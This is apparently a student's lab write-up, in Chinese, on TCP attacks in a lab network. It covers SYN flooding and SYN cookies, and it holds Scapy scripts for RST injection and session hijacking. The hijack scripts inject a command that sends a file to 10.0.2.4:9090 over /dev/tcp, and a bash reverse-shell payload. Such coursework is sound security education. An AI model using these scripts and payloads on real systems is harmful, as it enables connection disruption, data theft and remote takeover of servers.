Task 1: SYN Flooding Attack

Task 1.1: Launching the Attack Using Python

image-20220718093230780

image-20220718094344563

image-20220718094548497

可以看到,不做任何参数修改时进行攻击时,telnet还是能从远程连接上的,这就涉及到老师上课讲的三个可能由于python运行速度慢和系统机制出现的问题,下面对其进行解决。

net.ipv4.tcp_synack_retries = 10

将tcp尝试重传次数设为10 默认情况下是5

net.ipv4.tcp_max_syn_backlog = 80

将tcp缓冲区设置为80 默认512

同时起六个脚本进行攻击可得

image-20220719103252187

泛洪攻击成功,成功阻碍了该telnet连接

Task 1.2: Launch the Attack Using C

任务二用c进行攻击,流程于1差不多

编译运行c程序命令

gcc synflood.c
./a.out 10.9.0.5 23

image-20220719105425842

Task 1.3: Enable the SYN Cookie Countermeasure

sysctl -w net.ipv4.tcp_syncookies=1启用syncookie防护

image-20220719110005466

可以看到,此时即使被泛洪攻击了,仍然会留出监听空间,不会被泛洪攻击封死

Task 2: TCP RST Attacks on telnet Connections

发送tcp RST包

进入10.9.0.6使用telnet登录10.9.0.7,尝试使用TCP RST Attacks来中断他们之间的TCP连接

首先我们要知道达成TCP RST Attacks需要的基本数据,所以要自己写脚本sniff一下

from scapy.all import *
def print_pkt(pkt):
    print("ip.dst:"+pkt[IP].dst)
    print("ip.src:"+pkt[IP].src)
    print("tcp.dport:",pkt[TCP].dport)
    print("tcp.sport:",pkt[TCP].sport)
    print("tcp.ack:",pkt[TCP].ack)

print("sniff start........")
pkt= sniff(iface='br-793e76ca99e5', filter = 'tcp', prn =print_pkt)

抓到相关信息再运行以下程序

from scapy.all import *
from ipaddress import IPv4Address
from random import getrandbits


ip=IP(src="10.9.0.6",dst="10.9.0.7")
tcp=TCP(flags='R',dport=23,sport=34052,seq=2857005640)
pkt=ip/tcp
print('start')
ls(pkt)
send(pkt,verbose=0)

然后可以看到Connection closed by foreign host,表示攻击成功

image-20220720151748541

使用自动化程序进行实验,结果如下

from scapy.all import *
from ipaddress import IPv4Address
from random import getrandbits

def spoof_pkt(pkt):
    oldtcp=pkt[TCP]
    oldip=pkt[IP]
    ip=IP(src=oldip.dst,dst=oldip.src)
    tcp=TCP(flags='R',dport=oldtcp.sport,sport=oldtcp.dport,seq=oldtcp.ack)
    pkt=ip/tcp
    print('start')
    ls(pkt)
    send(pkt,verbose=0)


pkt= sniff(iface ="br-793e76ca99e5",filter = 'tcp', prn =spoof_pkt)

image-20220720161827543

Task 3: TCP Session Hijacking

tcp会话劫持

使用wireshark获取信息,得到最后一个包的seq和ack信息,将其填入脚本,进行TCP Session Hijacking

data中命令为将1.txt文件内容重定向到10.0.2.4:9090的tcp连接

from scapy.all import *
from ipaddress import IPv4Address
from random import getrandbits

ip=IP(src="10.9.0.6",dst="10.9.0.7")
data="\n cat /home/seed/1.txt > /dev/tcp/10.0.2.4/9090 \n"

tcp=TCP(flags='A',dport=23,sport=34472,seq=1178322569,ack=3545992893)

pkt=ip/tcp/data
print('start')
#ls(pkt)
send(pkt,verbose=0)


image-20220721123025916

该程序读取服务器(即10.9.0.7)中的1.txt文件(内容123),可见攻击成功

Task 4: Creating Reverse Shell using TCP Session Hijacking

/bin/bash -i #表示shell是交互式的
> #重定向
/dev/tcp/10.0.2.4/9090 #到10.0.2.4:9090的tcp连接
0 #input 重定向 &1 file descriptor
2 #error 重定向到tcpconnection
#seq与ack均从wireshark中最后抓取的一个包中得出
from scapy.all import *
from ipaddress import IPv4Address
from random import getrandbits


ip=IP(src="10.9.0.6",dst="10.9.0.7")
data="\n /bin/bash -i > /dev/tcp/10.0.2.4/9090 0<&1 2>&1\n"

tcp=TCP(flags='A',dport=23,sport=34544,seq=1487944269,ack=2655642989)

pkt=ip/tcp/data
print('start')
#ls(pkt)
send(pkt,verbose=0)

image-20220721154549538

成功上线,攻击机得到服务器的反弹shell

发表评论